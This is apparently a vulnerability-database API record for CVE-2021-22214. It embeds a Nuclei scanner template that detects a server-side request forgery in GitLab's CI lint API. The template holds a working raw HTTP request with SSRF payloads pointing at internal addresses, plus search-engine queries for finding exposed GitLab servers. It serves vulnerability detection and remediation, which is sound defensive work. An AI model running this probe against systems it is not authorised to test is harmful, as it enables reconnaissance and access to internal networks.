{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-22214/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-22214/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-22214/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-22214/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-22214/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-22214"},"sightings":{"href":"/api/v1/sightings/cve-2021-22214"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-22214.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2021-22214\n\ninfo:\n  name: Gitlab CE/EE 10.5 - Server-Side Request Forgery\n  author: Suman_Kar,GitLab Red Team\n  severity: high\n  description: |\n    GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:\n    - CVE-2021-39935\n    - CVE-2021-22214\n    - CVE-2021-22175\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the system.\n  remediation: |\n    Upgrade Gitlab CE/EE to a version that is not affected by the vulnerability (10.6 or higher).\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-22214\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-39935\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-22175\n    - https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html\n    - https://docs.gitlab.com/ee/api/lint.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2021-22214\n    cwe-id: CWE-918\n    epss-score: 0.27806\n    epss-percentile: 0.98008\n    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: gitlab\n    product: gitlab\n    shodan-query:\n      - http.title:\"GitLab\"\n      - cpe:\"cpe:2.3:a:gitlab:gitlab\"\n      - http.title:\"gitlab\"\n    fofa-query: title=\"gitlab\"\n    google-query: intitle:\"gitlab\"\n  tags: cve2021,cve,gitlab,ssrf,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {{body}}\n\n    payloads:\n      body:\n        - '{\"content\":\"include:\\n  remote: http://127.0.0.1/test.yml\"}'\n        - '{\"content\": \"include:\\n  remote: http://127.0.0.1:9100/test.yml\"}'\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'does not have valid YAML syntax!'\n\n      - type: word\n        part: content_type\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100a679ddbb7b8a22260a312676e6d963b6a92d3118f686a4494aa97ca6da94bdab02205882ee0f9364b94d32ab8b836202e347aba54f8883fbd861a764328d6bc4df70:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-22214"}